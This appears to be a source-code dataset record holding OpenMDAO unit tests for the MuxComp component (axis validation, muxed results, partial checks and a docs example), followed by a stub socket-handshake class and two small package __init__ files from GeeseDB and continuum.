709401e535cf6933215abd942d4b4d49dbf61b2b

[ "Apache-2.0" ]

3

2016-05-10T16:55:46.000Z

2018-10-22T23:28:52.000Z

openmdao/components/tests/test_mux_comp.py

gsoxley/OpenMDAO

709401e535cf6933215abd942d4b4d49dbf61b2b

[ "Apache-2.0" ]

2

2018-04-05T15:53:54.000Z

2018-10-22T22:48:00.000Z

from __future__ import print_function, division, absolute_import import unittest import numpy as np from openmdao.api import Problem, Group, IndepVarComp from openmdao.utils.assert_utils import assert_rel_error, assert_check_partials from openmdao.api import MuxComp class TestMuxCompOptions(unittest.TestCase): def test_invalid_axis_scalar(self): nn = 10 p = Problem(model=Group()) ivc = IndepVarComp() for i in range(nn): ivc.add_output(name='a_{0}'.format(i), val=1.0) p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['*']) mux_comp = p.model.add_subsystem(name='mux_comp', subsys=MuxComp(vec_size=nn)) mux_comp.add_var('a', shape=(1,), axis=2) for i in range(nn): p.model.connect('a_{0}'.format(i), 'mux_comp.a_{0}'.format(i)) with self.assertRaises(ValueError) as ctx: p.setup() self.assertEqual(str(ctx.exception), 'Cannot mux a 1D inputs for a along axis greater than 1 (2)') def test_invalid_axis_1D(self): nn = 10 a_size = 7 b_size = 3 p = Problem(model=Group()) ivc = IndepVarComp() for i in range(nn): ivc.add_output(name='a_{0}'.format(i), shape=(a_size,)) ivc.add_output(name='b_{0}'.format(i), shape=(b_size,)) p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['*']) mux_comp = p.model.add_subsystem(name='mux_comp', subsys=MuxComp(vec_size=nn)) mux_comp.add_var('a', shape=(a_size,), axis=0) mux_comp.add_var('b', shape=(b_size,), axis=2) for i in range(nn): p.model.connect('a_{0}'.format(i), 'mux_comp.a_{0}'.format(i)) p.model.connect('b_{0}'.format(i), 'mux_comp.b_{0}'.format(i)) with self.assertRaises(ValueError) as ctx: p.setup() self.assertEqual(str(ctx.exception), 'Cannot mux a 1D inputs for b along axis greater than 1 (2)') class TestMuxCompScalar(unittest.TestCase): def setUp(self): self.nn = 10 self.p = Problem(model=Group()) ivc = IndepVarComp() for i in range(self.nn): ivc.add_output(name='a_{0}'.format(i), val=1.0) ivc.add_output(name='b_{0}'.format(i), val=1.0) self.p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['*']) mux_comp = self.p.model.add_subsystem(name='mux_comp', subsys=MuxComp(vec_size=self.nn)) mux_comp.add_var('a', shape=(1,), axis=0) mux_comp.add_var('b', shape=(1,), axis=1) for i in range(self.nn): self.p.model.connect('a_{0}'.format(i), 'mux_comp.a_{0}'.format(i)) self.p.model.connect('b_{0}'.format(i), 'mux_comp.b_{0}'.format(i)) self.p.setup(force_alloc_complex=True) for i in range(self.nn): self.p['a_{0}'.format(i)] = np.random.rand(1) self.p['b_{0}'.format(i)] = np.random.rand(1) self.p.run_model() def test_results(self): for i in range(self.nn): out_i = self.p['mux_comp.a'][i] in_i = self.p['a_{0}'.format(i)] assert_rel_error(self, in_i, out_i) out_i = self.p['mux_comp.b'][0, i] in_i = self.p['b_{0}'.format(i)] assert_rel_error(self, in_i, out_i) def test_partials(self): np.set_printoptions(linewidth=1024) cpd = self.p.check_partials(compact_print=False, method='cs', out_stream=None) assert_check_partials(cpd, atol=1.0E-8, rtol=1.0E-8) class TestMuxComp1D(unittest.TestCase): def setUp(self): self.nn = 10 a_size = 7 b_size = 3 self.p = Problem(model=Group()) ivc = IndepVarComp() for i in range(self.nn): ivc.add_output(name='a_{0}'.format(i), shape=(a_size,)) ivc.add_output(name='b_{0}'.format(i), shape=(b_size,)) self.p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['*']) mux_comp = self.p.model.add_subsystem(name='mux_comp', subsys=MuxComp(vec_size=self.nn)) mux_comp.add_var('a', shape=(a_size,), axis=0) mux_comp.add_var('b', shape=(b_size,), axis=1) for i in range(self.nn): self.p.model.connect('a_{0}'.format(i), 'mux_comp.a_{0}'.format(i)) self.p.model.connect('b_{0}'.format(i), 'mux_comp.b_{0}'.format(i)) self.p.setup(force_alloc_complex=True) for i in range(self.nn): self.p['a_{0}'.format(i)] = np.random.rand(a_size) self.p['b_{0}'.format(i)] = np.random.rand(b_size) self.p.run_model() def test_results(self): pass for i in range(self.nn): out_i = self.p['mux_comp.a'][i, ...] in_i = self.p['a_{0}'.format(i)] assert_rel_error(self, in_i, out_i) out_i = self.p['mux_comp.b'][:, i] in_i = self.p['b_{0}'.format(i)] assert_rel_error(self, in_i, out_i) def test_partials(self): np.set_printoptions(linewidth=1024) cpd = self.p.check_partials(compact_print=False, method='cs', out_stream=None) assert_check_partials(cpd, atol=1.0E-8, rtol=1.0E-8) class TestMuxComp2D(unittest.TestCase): def setUp(self): self.nn = 10 a_shape = (3, 3) b_shape = (2, 4) self.p = Problem(model=Group()) ivc = IndepVarComp() for i in range(self.nn): ivc.add_output(name='a_{0}'.format(i), shape=a_shape) ivc.add_output(name='b_{0}'.format(i), shape=b_shape) ivc.add_output(name='c_{0}'.format(i), shape=b_shape) self.p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['*']) mux_comp = self.p.model.add_subsystem(name='mux_comp', subsys=MuxComp(vec_size=self.nn)) mux_comp.add_var('a', shape=a_shape, axis=0) mux_comp.add_var('b', shape=b_shape, axis=1) mux_comp.add_var('c', shape=b_shape, axis=2) for i in range(self.nn): self.p.model.connect('a_{0}'.format(i), 'mux_comp.a_{0}'.format(i)) self.p.model.connect('b_{0}'.format(i), 'mux_comp.b_{0}'.format(i)) self.p.model.connect('c_{0}'.format(i), 'mux_comp.c_{0}'.format(i)) self.p.setup(force_alloc_complex=True) for i in range(self.nn): self.p['a_{0}'.format(i)] = np.random.rand(*a_shape) self.p['b_{0}'.format(i)] = np.random.rand(*b_shape) self.p['c_{0}'.format(i)] = np.random.rand(*b_shape) self.p.run_model() def test_results(self): for i in range(self.nn): out_i = self.p['mux_comp.a'][i, ...] in_i = self.p['a_{0}'.format(i)] assert_rel_error(self, in_i, out_i) out_i = self.p['mux_comp.b'][:, i, :] in_i = self.p['b_{0}'.format(i)] assert_rel_error(self, in_i, out_i) out_i = self.p['mux_comp.c'][:, :, i] in_i = self.p['c_{0}'.format(i)] assert_rel_error(self, in_i, out_i) def test_partials(self): np.set_printoptions(linewidth=1024) cpd = self.p.check_partials(compact_print=False, method='cs', out_stream=None) assert_check_partials(cpd, atol=1.0E-8, rtol=1.0E-8) class TestForDocs(unittest.TestCase): def test(self): """ An example demonstrating a trivial use case of MuxComp """ import numpy as np from openmdao.api import Problem, Group, IndepVarComp, MuxComp, VectorMagnitudeComp from openmdao.utils.assert_utils import assert_rel_error # The number of elements to be muxed n = 3 # The size of each element to be muxed m = 100 p = Problem(model=Group()) ivc = IndepVarComp() ivc.add_output(name='x', shape=(m,), units='m') ivc.add_output(name='y', shape=(m,), units='m') ivc.add_output(name='z', shape=(m,), units='m') p.model.add_subsystem(name='ivc', subsys=ivc, promotes_outputs=['x', 'y', 'z']) mux_comp = p.model.add_subsystem(name='mux', subsys=MuxComp(vec_size=n)) mux_comp.add_var('r', shape=(m,), axis=1, units='m') p.model.add_subsystem(name='vec_mag_comp', subsys=VectorMagnitudeComp(vec_size=m, length=n, in_name='r', mag_name='r_mag', units='m')) p.model.connect('x', 'mux.r_0') p.model.connect('y', 'mux.r_1') p.model.connect('z', 'mux.r_2') p.model.connect('mux.r', 'vec_mag_comp.r') p.setup() p['x'] = 1 + np.random.rand(m) p['y'] = 1 + np.random.rand(m) p['z'] = 1 + np.random.rand(m) p.run_model() # Verify the results against numpy.dot in a for loop. for i in range(n): r_i = [p['x'][i], p['y'][i], p['z'][i]] expected_i = np.sqrt(np.dot(r_i, r_i)) assert_rel_error(self, p.get_val('vec_mag_comp.r_mag')[i], expected_i) if __name__ == '__main__': unittest.main()

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py

Python

handshake.py

Myselfminer/N

072a589301d8d8e4395e75c9ea720d6074eff6b6

[ "Apache-2.0" ]

2

2015-10-18T07:40:46.000Z

2015-10-25T16:03:18.000Z

handshake.py

Myselfminer/N

072a589301d8d8e4395e75c9ea720d6074eff6b6

[ "Apache-2.0" ]

1

2015-10-18T11:38:04.000Z

handshake.py

Myselfminer/N

072a589301d8d8e4395e75c9ea720d6074eff6b6

[ "Apache-2.0" ]

null

class handshake: def clientside(Socket_Object): """This must be called with the main object from the socket""" pass#Socket_Object.

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Python

geesedb/connection/__init__.py

informagi/GeeseDB

b502830cafbcba8676e7e779d13d5bc14ba842f9

[ "MIT" ]

12

2021-07-05T12:33:20.000Z

2021-10-11T20:44:12.000Z

geesedb/connection/__init__.py

informagi/GeeseDB

b502830cafbcba8676e7e779d13d5bc14ba842f9

[ "MIT" ]

7

2021-07-28T20:40:36.000Z

2021-10-12T12:31:51.000Z

geesedb/connection/__init__.py

informagi/GeeseDB

b502830cafbcba8676e7e779d13d5bc14ba842f9

[ "MIT" ]

null

from .connection import get_connection, close_connection __all__ = ['get_connection', 'close_connection']

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py

Python

continuum/rehearsal/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

282

2020-05-09T21:35:22.000Z

2022-03-20T11:29:41.000Z

continuum/rehearsal/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

180

2020-05-03T09:31:48.000Z

2022-03-30T12:12:48.000Z

continuum/rehearsal/__init__.py

oleksost/continuum

682d66540bfbfa171ac73281ed2989f9338e88bf

[ "MIT" ]

34

2020-06-13T14:09:29.000Z

2022-03-14T14:05:07.000Z

from continuum.rehearsal.herding import herd_random, herd_closest_to_cluster, herd_closest_to_barycenter from continuum.rehearsal.memory import RehearsalMemory

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